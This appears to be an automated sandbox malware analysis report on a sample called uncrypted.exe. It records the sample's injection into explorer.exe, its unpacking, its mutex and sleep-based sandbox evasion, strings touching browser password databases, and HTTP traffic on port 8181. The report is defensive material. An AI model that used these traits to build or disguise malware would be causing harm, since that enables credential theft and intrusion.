Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: explorer.exe, explorer.exe, 00000004.00000002.2084841084.0000000000F58000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: explorer.exe, explorer.exe, 00000004.00000002.2084841084.0000000000F58000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: explorer.exe, explorer.exe, 00000004.00000002.2084841084.0000000000F58000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: explorer.exe, 00000003.00000002.3291834167.0000000003600000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2059308070.000000000343A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.2084841084.0000000000F58000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: explorer.exe, 00000004.00000003.2060274019.0000000000D02000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2060991623.0000000002C47000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2060460027.0000000002C47000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2061349534.0000000000D55000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2061440789.0000000002C47000.00000004.00000020.00020000.00000000.sdmp, DATABASE.4.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: uncrypted.exe	Virustotal: Detection: 61%
Source: uncrypted.exe	ReversingLabs: Detection: 60%

Source: C:\Users\user\Desktop\uncrypted.exe

File read: C:\Users\user\Desktop\uncrypted.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\uncrypted.exe "C:\Users\user\Desktop\uncrypted.exe"
Source: C:\Users\user\Desktop\uncrypted.exe	Process created: C:\Users\user\Desktop\uncrypted.exe "C:\Users\user\Desktop\uncrypted.exe"
Source: C:\Users\user\Desktop\uncrypted.exe	Process created: C:\Windows\explorer.exe "C:\Windows\explorer.exe"
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\EXPLORER.EXE {2046C745-B848-47EE-8068-B039EAC15A1C}
Source: C:\Users\user\Desktop\uncrypted.exe	Process created: C:\Users\user\Desktop\uncrypted.exe "C:\Users\user\Desktop\uncrypted.exe"	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Process created: C:\Windows\explorer.exe "C:\Windows\explorer.exe"	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\EXPLORER.EXE {2046C745-B848-47EE-8068-B039EAC15A1C}	Jump to behavior

Source: C:\Users\user\Desktop\uncrypted.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Section loaded: dbgcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: twinapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dbgcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: twinapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wlanapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dbgcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: C:\Users\user\Desktop\uncrypted.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\uncrypted.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: uncrypted.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: uncrypted.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\uncrypted.exe

Unpacked PE file: 0.2.uncrypted.exe.9a0000.0.unpack .text:ER;.rsrc:R;.reloc:R;DeaJ6sQm:R; vs Unknown_Section0:ER;Unknown_Section1:R;Unknown_Section2:R;Unknown_Section3:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\uncrypted.exe

Unpacked PE file: 0.2.uncrypted.exe.9a0000.0.unpack

Source: C:\Users\user\Desktop\uncrypted.exe

Code function: 2_2_00419140 LoadLibraryW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,

2_2_00419140

Source: uncrypted.exe

Static PE information: real checksum: 0xdf62039 should be: 0x101254

Source: uncrypted.exe

Static PE information: section name: DeaJ6sQm

Source: C:\Users\user\Desktop\uncrypted.exe	Code function: 0_2_009A6294 pushfd ; retf	0_2_009A62F8
Source: C:\Users\user\Desktop\uncrypted.exe	Code function: 0_2_009A708D pushfd ; retf	0_2_009A70A0
Source: C:\Users\user\Desktop\uncrypted.exe	Code function: 0_2_009A37B0 pushfd ; retf	0_2_009A37C8
Source: C:\Users\user\Desktop\uncrypted.exe	Code function: 0_2_009A48B6 pushfd ; retf	0_2_009A48C4
Source: C:\Users\user\Desktop\uncrypted.exe	Code function: 0_2_009A52A9 push edx; retf	0_2_009A52B2
Source: C:\Users\user\Desktop\uncrypted.exe	Code function: 0_2_009A5FDA pushfd ; retf	0_2_009A5FF0
Source: C:\Users\user\Desktop\uncrypted.exe	Code function: 0_2_009A3DDB pushfd ; retf	0_2_009A3DF5
Source: C:\Users\user\Desktop\uncrypted.exe	Code function: 0_2_009A89D1 pushfd ; retf	0_2_009A89E0
Source: C:\Users\user\Desktop\uncrypted.exe	Code function: 0_2_009A39CF pushfd ; retf	0_2_009A39D9
Source: C:\Users\user\Desktop\uncrypted.exe	Code function: 0_2_009A4EFE pushfd ; retf	0_2_009A4F6D
Source: C:\Users\user\Desktop\uncrypted.exe	Code function: 0_2_009A41F2 pushfd ; retf	0_2_009A420C
Source: C:\Users\user\Desktop\uncrypted.exe	Code function: 0_2_009A84E8 pushfd ; retf	0_2_009A84F6
Source: C:\Users\user\Desktop\uncrypted.exe	Code function: 0_2_009A67E5 pushfd ; retf	0_2_009A67FB
Source: C:\Users\user\Desktop\uncrypted.exe	Code function: 0_2_009A811A pushfd ; retf	0_2_009A8135
Source: C:\Users\user\Desktop\uncrypted.exe	Code function: 0_2_009A4618 pushfd ; retf	0_2_009A4626
Source: C:\Users\user\Desktop\uncrypted.exe	Code function: 0_2_009A521E push esi; ret	0_2_009A5221
Source: C:\Users\user\Desktop\uncrypted.exe	Code function: 0_2_009A7704 pushfd ; retf	0_2_009A7761
Source: C:\Users\user\Desktop\uncrypted.exe	Code function: 0_2_009A6C2A pushfd ; retf	0_2_009A6C34
Source: C:\Users\user\Desktop\uncrypted.exe	Code function: 0_2_009A7526 pushfd ; retf	0_2_009A753C
Source: C:\Users\user\Desktop\uncrypted.exe	Code function: 0_2_009A7B7E pushfd ; retf	0_2_009A7BF8
Source: C:\Users\user\Desktop\uncrypted.exe	Code function: 0_2_009A5575 pushfd ; retf	0_2_009A5589
Source: C:\Users\user\Desktop\uncrypted.exe	Code function: 0_2_009A4B6F pushfd ; retf	0_2_009A4BBA
Source: C:\Users\user\Desktop\uncrypted.exe	Code function: 0_2_009A5967 pushfd ; retf	0_2_009A5975
Source: C:\Users\user\Desktop\uncrypted.exe	Code function: 2_2_004390C3 push esp; ret	2_2_004390CA
Source: C:\Users\user\Desktop\uncrypted.exe	Code function: 2_2_00439887 push esp; ret	2_2_0043988E
Source: C:\Users\user\Desktop\uncrypted.exe	Code function: 2_2_0043993F push esp; ret	2_2_00439946
Source: C:\Users\user\Desktop\uncrypted.exe	Code function: 2_2_004399F3 push esp; ret	2_2_004399FA
Source: C:\Users\user\Desktop\uncrypted.exe	Code function: 2_2_004349BF push esp; ret	2_2_004349C6
Source: C:\Users\user\Desktop\uncrypted.exe	Code function: 2_2_0042C275 push ecx; ret	2_2_0042C288
Source: C:\Users\user\Desktop\uncrypted.exe	Code function: 2_2_00439ADF push esp; ret	2_2_00439AE6
Source: C:\Users\user\Desktop\uncrypted.exe	Code function: 2_2_0043C35C push 840043C3h; ret	2_2_0043C365

Source: uncrypted.exe

Static PE information: section name: .text entropy: 7.563976267050098

Source: C:\Windows\explorer.exe

Code function: 4_2_00E71000 GetCommandLineW,CommandLineToArgvW,ExitProcess,RegGetValueW,ExitProcess,OpenEventW,ExitProcess,SetEvent,CloseHandle,ExitProcess,CreateMutexExW,ExitProcess,CreateEventW,ExitProcess,OpenMutexW,ExitProcess,CreateThread,ExitProcess,WaitForMultipleObjects,WaitForSingleObject,ExitProcess,

4_2_00E71000

Source: C:\Windows\explorer.exe	Code function: 4_2_00E733A0 LocalAlloc,LocalAlloc,LocalAlloc,SHGetKnownFolderPath,LocalAlloc,LocalAlloc,GetPrivateProfileStringW,LocalAlloc,_snprintf,LocalAlloc,_snprintf,CreateFileA,GetFileSize,LocalAlloc,ReadFile,type_info::_name_internal_method,wsprintfW,wsprintfW,wsprintfW,wsprintfW,MultiByteToWideChar,wsprintfW,LocalFree,MultiByteToWideChar,wsprintfW,LocalFree,LocalFree,LocalFree,LocalFree,CloseHandle,LocalFree,LocalFree,LocalFree,CoTaskMemFree,LocalFree,LocalFree,LocalFree,		4_2_00E733A0
Source: C:\Windows\explorer.exe	Code function: 4_2_00E7ADF0 LocalAlloc,LocalAlloc,LocalAlloc,SHGetKnownFolderPath,LocalAlloc,LocalAlloc,GetPrivateProfileStringW,LocalAlloc,_snprintf,LocalAlloc,_snprintf,CreateFileA,GetFileSize,LocalAlloc,ReadFile,type_info::_name_internal_method,wsprintfW,type_info::_name_internal_method,wsprintfW,type_info::_name_internal_method,type_info::_name_internal_method,MultiByteToWideChar,wsprintfW,type_info::_name_internal_method,type_info::_name_internal_method,MultiByteToWideChar,wsprintfW,LocalFree,CloseHandle,LocalFree,LocalFree,LocalFree,LocalFree,CoTaskMemFree,LocalFree,LocalFree,LocalFree,		4_2_00E7ADF0

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 8181
Source: unknown	Network traffic detected: HTTP traffic on port 8181 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8181
Source: unknown	Network traffic detected: HTTP traffic on port 8181 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8181
Source: unknown	Network traffic detected: HTTP traffic on port 8181 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8181
Source: unknown	Network traffic detected: HTTP traffic on port 8181 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8181
Source: unknown	Network traffic detected: HTTP traffic on port 8181 -> 49705

Source: C:\Users\user\Desktop\uncrypted.exe

2_2_00419140

Source: C:\Users\user\Desktop\uncrypted.exe

Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\{F711BB4E-52A0-4F2C-BD3A-54EB0B2E6079} {5CEDCBBC-554C-4BAE-84C3-3B10F0FEB953}

Jump to behavior

Source: C:\Users\user\Desktop\uncrypted.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Users\user\Desktop\uncrypted.exe	Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess			graph_2-20726
Source: C:\Windows\explorer.exe	Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\uncrypted.exe

API/Special instruction interceptor: Address: 7FF8C88EE814

Source: C:\Users\user\Desktop\uncrypted.exe	Memory allocated: 1210000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Memory allocated: 2D80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\uncrypted.exe	Memory allocated: 4D80000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\explorer.exe

Code function: 3_2_011ADE00 GetCurrentProcessId,CreateToolhelp32Snapshot,Process32FirstW,CloseHandle,Process32NextW,CloseHandle,

3_2_011ADE00

Source: C:\Users\user\Desktop\uncrypted.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\explorer.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_3-19003

Source: C:\Windows\explorer.exe

Evaded block: after key decision

graph_3-18301

Source: C:\Users\user\Desktop\uncrypted.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

graph_2-20973

Source: C:\Users\user\Desktop\uncrypted.exe	API coverage: 8.6 %
Source: C:\Windows\explorer.exe	API coverage: 8.8 %

Source: C:\Users\user\Desktop\uncrypted.exe TID: 3992	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5468	Thread sleep time: -36000s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6192	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 4564	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 1352	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\uncrypted.exe	Code function: 2_2_0041DB70 WaitForSingleObject,LocalAlloc,LocalAlloc,FindFirstFileW,WaitForSingleObject,lstrcmpW,lstrcmpW,LocalAlloc,RemoveDirectoryW,GetLastError,LocalFree,DeleteFileW,FindNextFileW,FindClose,GetLastError,LocalFree,LocalFree,	2_2_0041DB70
Source: C:\Windows\explorer.exe	Code function: 3_2_011997F0 SHGetKnownFolderPath,lstrlenW,CoTaskMemFree,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,Sleep,GetFileAttributesW,RemoveDirectoryW,Sleep,GetFileAttributesW,RemoveDirectoryW,Sleep,	3_2_011997F0
